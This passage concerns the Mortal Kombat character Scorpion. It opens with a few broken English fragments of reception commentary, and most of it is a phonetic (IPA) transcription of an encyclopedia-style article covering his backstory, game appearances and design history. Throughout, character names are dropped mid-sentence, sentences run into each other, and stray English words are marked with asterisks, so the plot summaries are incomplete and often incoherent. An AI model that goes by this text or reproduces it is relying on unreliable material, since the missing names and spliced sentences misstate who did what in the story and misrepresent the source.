rain as the eighth worst finisher in the series according to.[106]
scorpion's "get over here!" was listed in play's joke list of ten best] according to playstation universe in 2011, scorpion "has spawned one of the most iconics in gaming history" and "remains a firm fan favorite nineteen years since his] the phrase was a factor in ranking scorpion first on their list of the top series]
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media related to scorpion at commons | ˈskɔrpiən (bɔrn) ɪz ə ˈkɛrɪktər ənd ɔˈkeɪʒənəl bɔs ˈkɛrɪktər ɪn ðə ˈmɔrtəl ˈkɑmbæt ˈfaɪtɪŋ geɪm ˈfrænˌʧaɪz kriˈeɪtɪd baɪ ˈmɪdˌweɪ geɪmz. ˈmeɪkɪŋ hɪz ˈdeɪbju ɛz wən əv ðə ərˈɪʤənəl ˈsɛvən ˈkɛrɪktərz ɪn ˈmɔrtəl ˈkɑmbæt ɪn 1992 hi ɪz ən ˈnɪnʤə ˈspɛktər ˈsikɪŋ riˈvɛnʤ fər hɪz oʊn dɛθ æt ðə hænz əv, ˈmeɪkɪŋ ɪm ən wɪʧ həz bɪn hɪz meɪn roʊl θruaʊt ðə kɔrs əv ðə ˈsɪriz əp ənˈtɪl ˈmɔrtəl ˈkɑmbæt ɛks bət stɪl rɪˈmeɪnz ˈnutrəl. ˈskɔrpiən həz bɪn ɪn ˈnɪrli ˈɛvəri ˈmɔrtəl ˈkɑmbæt ˈfaɪtɪŋ geɪm, ðə wən ɪkˈsɛpʃən biɪŋ ðə ərˈɪʤənəl ˈvərʒən əv ˈmɔrtəl ˈkɑmbæt 3 hi wɑz əˈməŋ ðə ˈkɛrɪktərz ˌrɛprɪˈzɛnɪŋ ðə ˈsɪriz ɪn ðə ˈkrɔˌsoʊvər geɪmz waɪl ˈhævɪŋ gɛst roʊlz ɪn ˈəðər geɪmz, ˌbiˈsaɪdz əˈpɪrɪŋ ɪn ə vərˈaɪəti əv əˈfɪʃəl ˈsɪriz ˈmərʧənˌdaɪz ənd ˈəðər ˈɔltərˌneɪt ˈmidiə. ˈskɔrpiən ɪz ˈfiʧərd ɔn ðə ˈloʊgoʊ əv ˈstudiˌoʊz, ðə səkˈsɛsər əv ˈmɪdˌweɪ geɪmz. əˈpɪrənsəz ˈɛdət ˈmɔrtəl ˈkɑmbæt geɪmz ˈɛdət "ˈskɔrpiən" ɪz ðə ˈeɪliəs əv, ˈfɔrmərli wən əv ðə ˈfaɪnəst ˈwɔrjərz əv ðə, ə ˌʤæpəˈniz ˈnɪnʤə ˈæftər hi wɑz kɪld baɪ, ə ˈmɛmbər əv ə ˈraɪvəl klæn əv ʧaɪˈniz əˈsæsənz noʊn ɛz ðə lɪn, ˈskɔrpiən bɪˈkeɪm ə rɪˈzaɪdɪŋ ɪn hɛl (ˈleɪtər ðə) ənd ˈsikɪŋ ˈvɛnʤəns əˈgɛnst ðoʊz riˈspɑnsəbəl fər ðə dɪˈstrəkʃən əv hɪz klæn ənd ðə dɛθ əv hɪz ˈfæməli, ˌɪnˈkludɪŋ hɪz waɪf ənd hɪz sən. ˌɔlˈðoʊ ɛˈsɛnʃəli ˈnutrəl ɪn əˈliʤəns, ˈskɔrpiən wɪl ʤɔɪn ˈfɔrsɪz wɪθ ˈɛniˌwən hu kən əˈsɪst hɪz plænz əv riˈvɛnʤ. hi wɑz wəns məˈnɪpjəˌleɪtɪd baɪ kwɔn kaɪ, hum hi ˈprɑməst hɪz laɪf ɪn ɪksˈʧeɪnʤ fər hɪz ˌɪmˈprɛsɪv ˈkɑmbæt əˈbɪləˌtiz ɪn ˈɔrdər tɪ dɪˈfit ɪn hɪz ˌɪˈnɪʃəl, dɪˈspleɪd ɪn ðə fərst geɪmz əˈtrækt moʊd, hi ɪz dɪˈskraɪbd ˈoʊnli ɛz ˈhævɪŋ ˈɛnmɪti təˈwɔrdz ðət wɑz əˈtrɪbjətəd tɪ ˈraɪvəlriz bɪtˈwin əˈpoʊzɪŋ ˈnɪnʤə klænz. hɪz ˈɛndɪŋ rɪˈvild ðət hi wɑz ˈæˌkʧuəli ən ˈspɛktər hu hæd bɪn kɪld baɪ ənd wɑz sərˈvaɪvd baɪ ə waɪf ənd ðɪs wɑz ˈfərðər ɪkˈsplɔrd ɪn ə ˈkɑmɪk bʊk ˈrɪtən ənd ˈɪləˌstreɪtɪd baɪ ʤɑn təˈbaɪəs ənd ˈpəblɪʃt baɪ ˈmɪdˌweɪ; ɪn ə sin, sɛt əˈbɔrd ə ʤəŋk ɛn rut tɪ ˈtʊrnəmənt hoʊst ˈpraɪvət ˈaɪlənd, ˈskɔrpiən ʃɑks wɪθ hɪz ˌənɪkˈspɛktɪd rɪˈtərn ɪgˈzæktli tu jɪrz ˈæftər hɪz dɛθ, dɪˈklɛrɪŋ ðət hɪz "ˈdimənz" hæd əˈlaʊd ɪm tɪ rɪˈtərn ənd əˈvɛnʤ hɪz dɪˈmaɪz, waɪl hi wʊd nɑt kɪl ðɛr ɔn ðə spɑt ənd ˌɪnˈstɛd weɪt ənˈtɪl ðə ˈtʊrnəmənt bɪˈkəz hi wɑz "nɑt ə ˈæftər dɪˈfit æt ðə hænz əv əˈvɛnʧuəl ˈʧæmpiən lju kɑŋ, ɔl hɛl breɪks lus ɔn ðə ˈaɪlənd, ənd ˈskɔrpiən, wən əv ˈoʊnli ˈsɛvən ˈtʊrnəmənt sərˈvaɪvərz, timz əp wɪθ ənd ðə ˈθəndər gɑd ɪn ˈhoʊldɪŋ bæk ˈɑrmi, ðɛn kɪlz ənd ɪn ˈmɔrtəl ˈkɑmbæt 1993 ˈskɔrpiən lərnz ðət həz ˈsəmˌhaʊ rɪˈtərnd, ənd plænz tɪ kəmˈpit ɪn ðə ˈsɛkənd ˈtʊrnəmənt hɛld ɪn ðə ˈəðərˈwərldli dɪˈmɛnʃən əv ənd ˈhoʊstɪd baɪ ðə ˈɛmpərər ʃaʊ kɑn. hi træks hɪz ˈnɛməsɪs daʊn bət ˈnoʊtɪsɪz, ɪn ðə ˈprɔˌsɛs, ˈspɛrɪŋ ðə laɪf əv ən əˈpoʊnənt ɪn ˈbætəl. ˈskɔrpiən ˈriəˌlaɪzɪz ðət ðɪs ɪz nɑt ðə ərˈɪʤənəl bət ˌɪnˈstɛd hɪz ˈjəŋgər ˈbrəðər, hu wɑz sɛnt tɪ kəmˈplit ðə ˈɛldər feɪld ˈmɪʃən əv əˈsæsəˌneɪtɪŋ. ɛz ə rɪˈzəlt, ˈskɔrpiən vaʊz tɪ sərv ɛz ðə nu ˈgɑrdiən ɪn əˈtoʊnmənt fər ˈkɪlɪŋ hɪz ˈoʊldər ɪn ðə 2005 bit 'ɛm əp ˈmɔrtəl ˈkɑmbæt: ˈʃɑoʊˌlɪn məŋks, sɛt ˈdʊrɪŋ ðə ɪˈvɛnts əv ˈmɔrtəl ˈkɑmbæt, ˈskɔrpiən ɪz ə bɔs ˈkɛrɪktər hu əˈtɛmpts tɪ kɪl ðə geɪmz proʊˈtægənəsts lju kɑŋ ənd kəŋ laʊ. hi əˈpɪrz ɪn boʊθ mæskt ənd ənˈmæskt fɔrmz (ðə ˈlætər biɪŋ neɪmd "ˌɪnˈfərˌnoʊ ˈskɔrpiən"). ˈmɔrtəl ˈkɑmbæt: faɪər aɪs, wɪʧ wʊd hæv stɑrd ˈskɔrpiən ənd ɪn koʊˈɑpərˌeɪtɪv ˈgeɪmˌpleɪ, wɑz ˈkænsəld wɪn ˈpɛrəˌdɑks dɪˈvɛləpmənt, ðə dɪˈvɛləpərz əv ˈʃɑoʊˌlɪn məŋks, "ˈkʊdənt du ɪt ɪn taɪm ənd ˈəndər ˈskɔrpiən, əˈlɔŋ wɪθ ɔl əv ðə geɪmz ˈjumən ˈnɪnʤə ˈkɛrɪktərz, wɑz nɑt ɪn ˈmɔrtəl ˈkɑmbæt 3 bət rɪˈtərnd ɪn ðə 1995 ˈəpˈgreɪd ˈəltəmət ˈmɔrtəl ˈkɑmbæt 3 wɪn ʃaʊ kɑn traɪz tɪ ˈkɑŋkər ðə ˈæftər hɪz ˌɪnˈveɪʒən əv ərθ, ənd ɛnˈlɪsts ðə ˈnɪnʤə ɪn hɪz ˈfɔrsɪz. əˈliʤəns tɪ kɑn kˈwɪkli dɪˈzɑlvz wɪn hi dɪˈskəvərz, ɪn ə kənˈtɪnjuəns əv hɪz ˈstɔriˌlaɪn, ðət wɑz wən əv ərθs ˈʧoʊzən ˈwɔrjərz, wɪθ hum hi ˈsaɪdɪd ɪn ðɛr ˈfaɪnəl ˈʃoʊˌdaʊn wɪθ kwɔn kaɪ ɪz əˈfɪʃəli ˌɪntrəˈdust ˈɪntu ˈraɪvəlri wɪθ ɪn ðə meɪn ˈstɔriˌlaɪn, ˈstɑrtɪŋ wɪθ ˈmɔrtəl ˈkɑmbæt mythologies*: 1997 ˈskɔrpiən ɪz ˈfiʧərd ðɛˈrɪn ɛz ən bɔs ˈkɛrɪktər, əˈpɪrɪŋ twaɪs θruaʊt ðə geɪm. dɪˈspaɪt pleɪɪŋ ə ˈmaɪnər roʊl, hɪz ˈbækˌgraʊnd wɑz əˈfɪʃəli ɪkˈspændɪd ɪn ə ˈfiʧər ɔn ðə geɪmz əˈfɪʃəl ˈwɛbˌsaɪt, wɛr hɪz ril neɪm ənd ðət əv hɪz klæn wər rɪˈvild, waɪl hɪz ˈjɛloʊ ˈaʊtˌfɪt wɑz dɪˈskraɪbd ɛz ən əˈpɛrənt ˈmɑkəri əv ðə lɪn, ˈæftər ˈfɔrmər lɪn ˈmɛmbər tɑˈkeɪdə dɪˈvɛləpt ˌbiˈfɔr ˈlivɪŋ ðə klæn ənd ˈfɔrmɪŋ ðə ˈraɪvəl hi ɪz ˌɛnˈlɪstɪd baɪ kwɔn kaɪ tɪ faɪnd ə mæp ˈhɪdən ɪn ə ˈʃɑoʊˌlɪn ˈtɛmpəl, ə tæsk ðə ˈsɔrsərər ˈɔlsoʊ gɪvz tɪ ɪn ˈɔrdər tɪ ɪnˈgeɪʤ ðə tu ˈraɪvəl ˈnɪnʤəz ɪn ˈmɔrtəl ˈkɑmbæt. ɪf ðə pleɪər pərˈfɔrmz ə ˈkɪlər muv ɔn ˈskɔrpiən, hi wɪl ˌriəˈpɪr ɛz əˈnəðər bɔs ˈleɪtər ɪn ðə geɪm. ɪn ˈmɔrtəl ˈkɑmbæt 4 1997 kwɔn kaɪ trɪks ˈskɔrpiən ˈɪntu bɪˈlivɪŋ ðət wɑz ˈæˌkʧuəli ˌɪnˈvɑlvd ɪn ðə dɛθs əv hɪz ˈfæməli ənd klæn, rɪˈzəltɪŋ ɪn ˈskɔrpiən ˈælaɪɪŋ wɪθ ɪm. ɪn ˈɛndɪŋ, hi ˈimərʤɪz vɪkˈtɔriəs ˈoʊvər, bət kwɔn kaɪ ðɛn əˈpɪrz tɪ rɪˈvil ðə truθ əˈbaʊt ðə dɛθ əv ˈfæməli ənd klæn. wɪn kwɔn kaɪ ðɛn əˈtɛmpts tɪ ˈbænɪʃ ˈskɔrpiən bæk tɪ ðə ˈəndərˌwərld, ˈskɔrpiən græbz ˈɔntu kwɔn kaɪ ʤɪst ɛz hi ɪz teleported*, ˈsɛndɪŋ ðɛm boʊθ ˈɪntu ðə ə ˌvɛriˈeɪʃən əv ðɪs ˈɛndɪŋ wɑz sin ɪn kənˈkluʒən, wɪn stændz ˈoʊvər ə ˈfɑlən ˈskɔrpiən ˌbiˈfɔr biɪŋ nɑkt daʊn frəm bɪˈhaɪnd baɪ kwɔn kaɪ, hu əˈgɛn rɪˈvilz hɪz skim ənd kleɪmz ðət boʊθ ˈnɪnʤəz wər pɔnz fər ðə ˈfɑlən ˈɛldər gɑd, wɪʧ rɪˈzəlts ɪn ˈskɔrpiən ˈkɪlɪŋ kwɔn kaɪ ənd ˈfaɪnəli dɪˈklɛrɪŋ fri əv hɪz ˈɛndɪŋ ɪz ˈkɛrid ˈoʊvər ˈɪntu ˈmɔrtəl ˈkɑmbæt: ˈdɛdli əˈlaɪəns 2002 wɛr hi rɪˈlɛntləsli hənts daʊn kwɔn kaɪ bət ɪz əˈtækt baɪ ðə ənd, hum ðə ˈsɔrsərər hæd haɪərd ɛz prəˈtɛkʃən, ənd hu ˈleɪtər fri ɪm frəm ðə. ɪn hɪz ˈɛndɪŋ, ˈskɔrpiən ɪz kɪld wɪn ənd hərl ɪm ˈɪntu ðə soulnado*, ə ˈmæʤɪkəl tɔrˈneɪˌdoʊ kənˈsɪstɪŋ əv ˈtɔrˌmɛntɪd soʊlz træpt bɪtˈwin ənd, bət ɪn hɪz baɪˈɑgrəfi ɪn ˈmɔrtəl ˈkɑmbæt: dɪˈsɛpʃən, hi ɪz dɪˈpɪktɪd ɛz ˈhævɪŋ ɪˈskeɪpt. hi ðɛn mits ðə ˈɛldər gɑdz, wɪʧ, ˈkəpəld wɪθ hɪz ˈwɪtnəsɪŋ dɛθ ənd ðə ˈimərʤəns əv onaga*, ðə ˈdrægən kɪŋ, ˈkɔzɪz ɪm tɪ əkˈsɛpt ə nu roʊl ɛz ðə ˈɛldər gɑdz' ˈsərvənt waɪl ˈwərkɪŋ tɪ prɪˈvɛnt ˈmərʤɪŋ əv ðə rɛlmz. ɪn ðə moʊd əv ˈmɔrtəl ˈkɑmbæt: ˌɑrməˈgɛdən 2006 ˈskɔrpiən kəts ə dil wɪθ ðə ˈɛldər gɑdz tɪ sərv ðɛm ɪn ɪksˈʧeɪnʤ fər ðə ˌrɛzərˈɛkʃən əv ðə, əˈlɔŋ wɪθ ðə ˌrɛzərˈɛkʃən əv hɪz waɪf ənd ˌhaʊˈɛvər, ðə ˈɛldər gɑdz ˌrɛzərˈɛkt ðɛm ɛz biɪŋz. ɪnˈreɪʤd, ˈskɔrpiən siks tɪ dɪˈstrɔɪ ðə ˈɛldər gɑdz' ʧæns əv prɪˈvɛnɪŋ ˌɑrməˈgɛdən baɪ ˈteɪkɪŋ paʊər ðət wɑz mɛnt fər ər daegon*, bət dɪˈfits ɪm ənd ˈskɔrpiən ɪz ˈleɪtər kɪld baɪ ɪn ðə ˈfrifɔˌrɔl ˈbætəl əˈməŋ ðə ˈsɪriz ˈkɛrɪktərz ɪn ðə geɪmz ˈoʊpənɪŋ ɪn ðə 2011 ˈmɔrtəl ˈkɑmbæt riˈbut, ən riˈtɛlɪŋ əv ðə fərst θri ˈtaɪtəlz, ˈskɔrpiən hɪz roʊl frəm ðə fərst geɪm ɪn ˈsikɪŋ ˈvɛnʤəns əˈgɛnst ðə ˈɛldər, ðə ˈdɪfərəns biɪŋ ðət hi sərvz kwɔn kaɪ frəm ðə stɑrt, ˌənəˈwɛr ðət kwɔn kaɪ ɪz ðə ˈmæstərˌmaɪnd bɪˈhaɪnd ðə lɪn ˈmərdər əv hɪz ˈfæməli ənd klæn., əˈtɛmptɪŋ tɪ ˈɔltər ðə ˈtaɪmlaɪn əv ðə ɪˈvɛnts əv ðə fərst θri ˈtərnəmənts ɪn hoʊps əv əˈvərtɪŋ ˌɑrməˈgɛdən, tɔks ˈskɔrpiən ˈɪntu ˈspɛrɪŋ laɪf ɔn ðə graʊnz ðət hi wʊd sik tɪ rɪˈvaɪv ðə ɪn ɪksˈʧeɪnʤ. ˈskɔrpiən əˈgriz, ənd ˌɪnˈdid wɪn hi dɪˈfits ɪn ðə, hi rɪfˈjuzɪz tɪ kɪl ɪm, bət kwɔn kaɪ kənˈvɪnsɪz ˈskɔrpiən ˈəðərˌwaɪz baɪ riˈpleɪɪŋ ə ˈgræfɪk ˈvɪʒən əv ðə lɪn sˈlɔtər əv ðə ɪn əˈdɪʃən tɪ waɪf ənd ʧaɪld. ˈskɔrpiən ðɛn ˌriəˈpɪrz ɔn ðə ˈtʊrnəmənt graʊnz ˈhoʊldɪŋ ˌɪnˈsɪnərˌeɪtɪd skəl ənd ˈspaɪnəl ˈkɑləm əˈlɔft ˌbiˈfɔr ˈlɛtɪŋ ɪt drɔp ənd ˈʃætər ɔn ðə ˈleɪtər ɪn ðə geɪm, ðə ˈjəŋgər (ˈfɔrmərli ˈtəndrə) siks riˈvɛnʤ fər hɪz ˈbrəðərz dɛθ baɪ dɪˈmændɪŋ ə faɪt wɪθ ˈskɔrpiən ɪn ʃaʊ kɑnz ərˈinə, ənd kwɔn kaɪ grænts ðə rɪkˈwɛst. ˈskɔrpiən ˌɪˈmiˌdiətli ˈrɛkəgˌnaɪzɪz ðət ðɪs ɪz nɑt ðə ərˈɪʤənəl bət hɪz ˈjəŋgər ˈbrəðər, hu dɪˈfits ˈskɔrpiən bət ɪz ˌæprɪˈhɛndəd baɪ hɪz klæn ˌbiˈfɔr hi kən ˈfɪnɪʃ ˈskɔrpiən ɔf, ənd ˈskɔrpiən əˈweɪ ˈdʊrɪŋ ðə hi wɑz læst sin wɪn hi əˈpɪrz tɪ faɪt ɪn ðə bət ˈluzɪz əˈgɛnst ðə ˈθəndər gɑd ənd ɪn hɪz geɪm ˈɛndɪŋ, ðə əˈpɪr ˌbiˈfɔr ɪm ɛz ˈgoʊstli ˌæpərˈɪʃənz ənd rɪˈvil ðə truθ. ðeɪ eɪd ɪm ɪn ˈkɪlɪŋ kwɔn kaɪ fər hɪz dɪˈsɛpʃən. ɪn ˈɛndɪŋ, hi lərnz ðə truθ əˈbaʊt hɪz ənd ˈfæməliz ənd ˈɔfərz ˈskɔrpiən ə ʧæns tɪ ʤɔɪn ɪm ɪn hɪz kwɛst fər ˈvɛnʤəns, wɪθ ənd ˈskɔrpiən ˈʤɔɪnɪŋ ˈfɔrsɪz tɪ fɔrm ðə nu ˈdɛdli ɪn ˈmɔrtəl ˈkɑmbæt ɛks, praɪər tɪ hɪz ˈkɑmɪk bʊk ˈprikwɛl ɪˈvɛnts, ɛz wɛl ɛz hɪz ɪnˈkaʊnərz wɪθ tɪ əˈsɪst ɪn hɪz rɪˈvaɪvəl ɛz ə ˈjumən ənd rɪˈstɔr ðə ɛz ðə ˈgrændˈmæstər 25 jɪrz ˈərliər, ˈskɔrpiən stɪl sərvd kwɔn kaɪ. hi wɑz fərst sin ɪn ˈʤɑni ˈkeɪʤɪz ˈʧæptər əv ðə geɪmz ˈstɔri, ˈæˌlaɪd wɪθ ə naʊ flɛʃt, ˈkɪlɪŋ moʊst əv ðə ˈspɛʃəl fɔrs ˈsoʊlʤərz, ɪkˈsɛpt ðə haɪ ræŋk ˈlidərz ˈʤɑni, ˈsoʊnjə bleɪd ənd, hu ˈmænɪʤ tɪ sərˈvaɪv ðɛr əˌsæsəˈneɪʃən əˈtɛmpts θæŋks tɪ ˈʤɑniz ˈɛfərt ɔn dɪˈfitɪŋ ɪm ənd. ɪn ˈstɔri moʊd ɪt ɪz rɪˈvild ðət soʊl wɑz rɪˈstɔrd tɪ ðə ˈlɪvɪŋ (əˈlɔŋ wɪθ ənd) baɪ, hu kəmˈbaɪnd kwɔn kaɪz ˈmæʤɪk wɪθ hɪz oʊn. naʊ wəns əˈgɛn, hi rɪˈfɔrmz ðə klæn ənd treɪnz sən, tɑˈkeɪdə, ɪn hɪz ˈfaɪtɪŋ staɪl. meɪd əˈmɛndz wɪθ ɛz rɪˈvild ðət kwɔn kaɪ wɑz riˈspɑnsəbəl fər ðə ˈmərdər əv ˈfæməli ənd klæn. wɪn ðə ˈspɛʃəl ˈfɔrsɪz ˈkæpʧər kwɔn kaɪ, ənd ðə səbˈdu ðɛm, wɪθ ˌsɪŋgəˈlhændɪdli dɪˈfitɪŋ ˈʤɑni keɪʤ ənd. fjuəld baɪ riˈvɛnʤ, hi wɑz əˈblɪviəs tɪ kwɔn kaɪz tru plæn, ənd ˌɪgˈnɔrd ðə ˈspɛʃəl ˈfɔrsɪz' hoʊps tɪ rɪˈtərn ðə ˈəðər tɪ laɪf. friɪŋ kwɔn kaɪ frəm ˌɪmˈprɪzənmənt, ˈʧælənʤd kwɔn kaɪ tɪ ə ˈfaɪnəl ˈbætəl, wɪθ ˈimərʤɪŋ vɪkˈtɔriəs. kənˈkərəntli, əˈpɪrd ˈæftər ˈhævɪŋ bɪˈtreɪd kɑn ənd ˈɛndɪd ðə ˈsɪvəl wɔr, ˈteɪkɪŋ ˈæmjələt frəm ðə mileena*. ɛz priˈpɛrd tɪ diˈkæpəˌteɪt kwɔn kaɪ, θroʊz ðə ˈæmjələt tɪ kwɔn kaɪ, hu riˈsaɪts ə spɛl tɪ riˈlis frəm ðə ˈæmjələt. ˌɪˈmiˌdiətli ˈæftər ðə kənˈkluʒən, kwɔn kaɪ ɪz kɪld, əˈvɛnʤɪŋ ˈfæməli. ˌhaʊˈɛvər, ɪz rɪˈtərnd tɪ ðə ˈfɪzɪkəl wərld ˈɪnstəntli, ənd ˈskɔrpiən, ɪn səˈpraɪz, ɪz ˌɪˈmiˌdiətli ˈblæstɪd əˈweɪ ənd nɑkt aʊt baɪ. hi ɪz nɑt sin əˈgɛn fər ðə rɪˈmeɪndər əv ðə ˈstɔri, ˈlivɪŋ hɪz feɪt, ɛz wɛl ɛz ˈmɛni ˈəðər ˈkɛrɪktərz, ənˈnoʊn. ˈəðər geɪmz ˈɛdət ˈskɔrpiən əˈpɪrz ɪn ðə 2008 ˈkrɔˌsoʊvər ˈtaɪtəl ˈmɔrtəl ˈkɑmbæt ˈvərsəz. ˌdiˈsi ˈjunəˌvərs, pɑrˈtɪsəˌpeɪtɪŋ ɪn ðə wɔr bɪtˈwin ðə tu ˈtɪʧələr ˈfrænˌʧaɪzɪz. ɪn hɪz ˈɛndɪŋ, ðə ˈɛsəns əv dɑrk kɑn faɪndz ə hoʊst ɪn ˈbɑdi, ˈmeɪkɪŋ ɪm ðə moʊst ˈpaʊərfəl biɪŋ ɪn ðə ˈjunəˌvərs. ˈskɔrpiən ʤɔɪnd ðə kæst əv ˌɪnˈʤəstɪs: gɑdz əˈməŋ ˈjuˈɛs ɛz ə ˈkɛrɪktər. ɪn hɪz ˈbætəl ˈɛndɪŋ, ˈskɔrpiən, ˈwəndərɪŋ haʊ hi ˈɛndɪd əp ɪn ðɪs wərld, kənˈfrənts trigon*, hu ˈsəmənd ɪm aʊt əv ˈæŋgər ðət ˈskɔrpiən hæd lɛft hɪz ˈdimən ˈɑrmi ənd rɑbd ɪm ðə ˈglɔri əv dɪˈfitɪŋ ðə haɪ ˈkaʊnsɪlər (ˈsupərˌmæn). ˈskɔrpiən faɪts ənd dɪˈfits trigon*, ənd ˈæftərwərdz teɪks kəˈmænd ˈoʊvər hɪz dɪˈmɑnɪk ˈfɔrsɪz, wɪʧ hi plænz tɪ juz tɪ rul ðə wərld. ˈskɔrpiən həz ˈɔlsoʊ ˈfiʧərd ɛz ə ˈkɛrɪktər ɪn fɔr ˈmɪdˌweɪ geɪmz ˈtaɪtəlz: ˈɛnˌbiˈeɪ ʤæm ˈtʊrnəmənt ɪˈdɪʃən ðə grɪd sˈləgˌfɛst: ˈloʊdɪd ənd psi-ops*: ðə kənˈspɪrəsi ˈkɛrɪktər dɪˈzaɪn ənd ˈgeɪmˌpleɪ ˈɛdət ] ˈkɛrɪktərz ðət kən hæv ðə seɪm ˌɪmˈpækt? ə: ju kən lʊk æt ˈəðər ˈfrænˌʧaɪzɪz, laɪk ðə fər ɪgˈzæmpəl, wɛr ðɛr hæv bɪn tənz əv nu tim ˈmɛmbərz, bət ˈkɛrɪktərz laɪk stɔrm, ʤin greɪ, prəˈfɛsər ɛks, wɪl ˈɔlˌweɪz hæv ˈskɔrpiən ənd aɪ doʊnt θɪŋk ðæts ə bæd θɪŋ. kju: du ju θɪŋk ɪts ˈpɑsəbəl tɪ kriˈeɪt nu ˈkɛrɪktərz ðət kən hæv ðə seɪm impact?a*: ju kən lʊk æt ˈəðər ˈfrænˌʧaɪzɪz, laɪk ɪgˈzæmpəl, wɛr ðɛr hæv bɪn tənz əv nu tim ˈmɛmbərz, bət ˈkɛrɪktərz laɪk ˈsaɪˌklɔps ənd ˌwʊlvərˈin wɪl ˈɔlˌweɪz bi ðə kɔr əv hu ðeɪ ər. kən ju ˌriˈpleɪs ðɛm? ʃʊr, bət waɪ? ðə wɪl ˈɔlˌweɪz hæv ˌwʊlvərˈin ˈɔlˌweɪz hæv ˈskɔrpiən ənd aɪ doʊnt θɪŋk ðæts ə bæd θɪŋ. təˈbaɪəs ɪn ˈskɔrpiən əˈpɪrd ɪn ðə fərst ˈmɔrtəl ˈkɑmbæt ɛz wən əv tu ˈnɪnʤə ˈkɛrɪktərz əˈlɔŋ wɪθ. hɪz ˈərli ˈɔrəʤɪnz wər rɪˈvild baɪ ðə ˈsɪriz' ərˈɪʤənəl ʧif ˈkɛrɪktər dɪˈzaɪnər ʤɑn təˈbaɪəs ɪn sɛpˈtɛmbər 2011 wɪn hi ˈpoʊstɪd ˈsɛvərəl ˈpeɪʤɪz əv oʊld ˈkɛrɪktər ˈskɛʧɪz ənd noʊts ɔn tˈwɪtər. ˈskɔrpiən ənd wər ˈsɪmpli dɪˈskraɪbd ɛz "[ə] ˈpælət swɑp fər 2 ˈhəntər ənd ðə ˈhənɪd," waɪl təˈbaɪəs ˈɔlsoʊ kənˈsɪdərd ðə ˈkɑnsɛpts əv ˈiðər wən əv ðɛm fliɪŋ ðɛr klæn, ər ə "riˈvɛnʤ ˈstɔri" ˌɪnˈvɑlvɪŋ ðə ˈkɛrɪktərz biɪŋ pɑrt əv ˈraɪvəl ɪn rɪˈgɑrdz tɪ ðə geɪmz strɪkt ˈmɛməri ˌlɪmɪˈteɪʃənz, ənd ˈproʊˌgræmər ɛd bun rɪˈkɔld: "ə lɔt əv əˈtɛnʃən wɛnt ˈɪntu ðə ˌɛkəˈnɑmɪks əv ɪt, ənd soʊ wi nu ðət ɪf wi kʊd teɪk ə ˈkɛrɪktər ənd ʧeɪnʤ ðɛr ˈkələr ənd juz ˈbeɪsɪkli ðə seɪm ˈmɛməri tɪ kriˈeɪt tu ˈkɛrɪktərz, wid seɪv ə lɔt əv ˈməni ənd wid hæv tu ˈkɛrɪktərz." ˈskɔrpiən wɑz ˈgɪvɪn ə ˈjɛloʊ ˈpælət wɪθ ðə dɪˈvɛləpərz ˌdɪˈsaɪdɪŋ ðət ɪt wʊd ˈsɪmbəˌlaɪz faɪər ɛz ðə ɪgˈzækt ˈɑpəzɪt tɪ aɪs blu, wɪʧ "ˈprɑmptɪd ðə ˈstɔri bɪˈhaɪnd ðɛm biɪŋ ðiz əˈpoʊzɪŋ ə θərd ˈnɪnʤə swɑp, ˈrɛptaɪl, wɑz ˈædɪd ɪn ðə θərd riˈvɪʒən ɛz ə ˈhɪdən ˈkɛrɪktər hu wɑz ˈaʊtˌfɪtɪd ɪn grin ənd juzd spɪr (əˈlɔŋ wɪθ friz) ɛz pɑrt əv hɪz əˈfɛnsɪv ˈɑrsənəl; hi wɑz dɪˈvaɪzd baɪ bun ɛz "ə ˈkulər ˈvərʒən əv ðə ərˈɪʤənəl ˈkɑstum wɑz kriˈeɪtɪd frəm ə ˈmɑdəˌfaɪd ˈaʊtˌfɪt bɔt æt ə ʃəˈkɑˌgoʊ ˈkɑstum ənd wɑz rɛd fər ˈfɪlmɪŋ ɪn ðə fərst geɪm, bət ə ˈdɪfərənt ˈjɛloʊ wən wɪθ ə kˈwɪltɪd vɛst ənd ʃɪn gɑrdz wɑz ˈjutəˌlaɪzd fər ˈmɔrtəl ˈkɑmbæt ðɪs ɪn tərn meɪd ðə ˈəðər meɪl ˈnɪnʤə ˈkɛrɪktərz therein—sub-zero*, ˈrɛptaɪl, ənd ˈhɪdən ˈkɛrɪktərz smoʊk ənd swɑps əv ˈskɔrpiən, wɪθ ðə ˈlætər tu ˈɔlsoʊ ˈjuzɪŋ spɪr wɪn pleɪərz fɔt ðɛm ˈsɛpərətli ɪn ˈsikrɪt ˈbætəlz. ˈskɔrpiən ənd ðə ˈnɪnʤə ˈkɛrɪktərz wər fərst pleɪd baɪ ˈdænjəl pɛˈsinə, hu wɑz ˌriˈpleɪst baɪ ʤɑn tərk fər ˈəltəmət ˈmɔrtəl ˈkɑmbæt 3 ənd ðə 1996 ˌkɑmpəˈleɪʃən ˈmɔrtəl ˈkɑmbæt ˈtrɪləʤi, waɪl sæl dɪˈvitə pleɪd ðə ˈkɛrɪktər ɪn: mythologies*. waɪl hɪz ˈtɛmplət frəm ðə fərst ˌʤɛnərˈeɪʃən əv geɪmz həz rɪˈmeɪnd ˈrɛlətɪvli ənˈʧeɪnʤd ˈoʊvər taɪm, ðə ˈsɔfˌwɛr tɛkˈnɑləʤi əv ðə ˈkɑmbæt 4 θˌrizdɪˈmɛnʃənəl rɪˈlisɪz hæv əˈlaʊd mɔr dɪˈteɪld fər ðə ˈkɛrɪktərz, ənd ˈkɑstumz wər ˈduli ɛnˈhænst wɪθ ˈɑbʤɛkts səʧ ɛz tu sɔrdz stræpt tɪ hɪz bæk ənd hɪz spɪr əˈtæʧt tɪ ə roʊp taɪd tɪ hɪz bɛlt ɪn ˈdɛdli ənd ə sɛt əv ɔrˈneɪt ˈʃoʊldər ɪn dɪˈsɛpʃən, ɪn wɪʧ hɪz ˈɔltərˌneɪt ˈkɑstum wɑz ə θˈroʊˌbæk tɪ ðə ˌtudɪˈmɛnʃənəl ˈtaɪtəlz. ˈkɑstum ɪz hɪz moʊst dɪˈteɪld tɪ deɪt ənd ˌɪnˈspaɪərd baɪ hɪz ˈneɪmˌseɪk, səʧ ɛz ðə ˈkɛrɪktərz ˈʃoʊldər pædz, ðə tu sɔrdz ˈkrɪˌskrɔst ɔn hɪz bæk, ənd ðə ˈpætərn ɔn hɪz feɪs ˈskɔrpiən wɑz ˌɪnˈkludɪd wɪθ, ˈrɛptaɪl ənd ɪn ə ˈbəndəl əv ˈklæsɪk ˈkɑstumz frəm ðə fərst ˈmɔrtəl ˈkɑmbæt ðət wɑz riˈlist ɛz ˈkɑntɛnt fər ðə 2011 fər ˌɪnˈʤəstɪs: gɑdz əˈməŋ 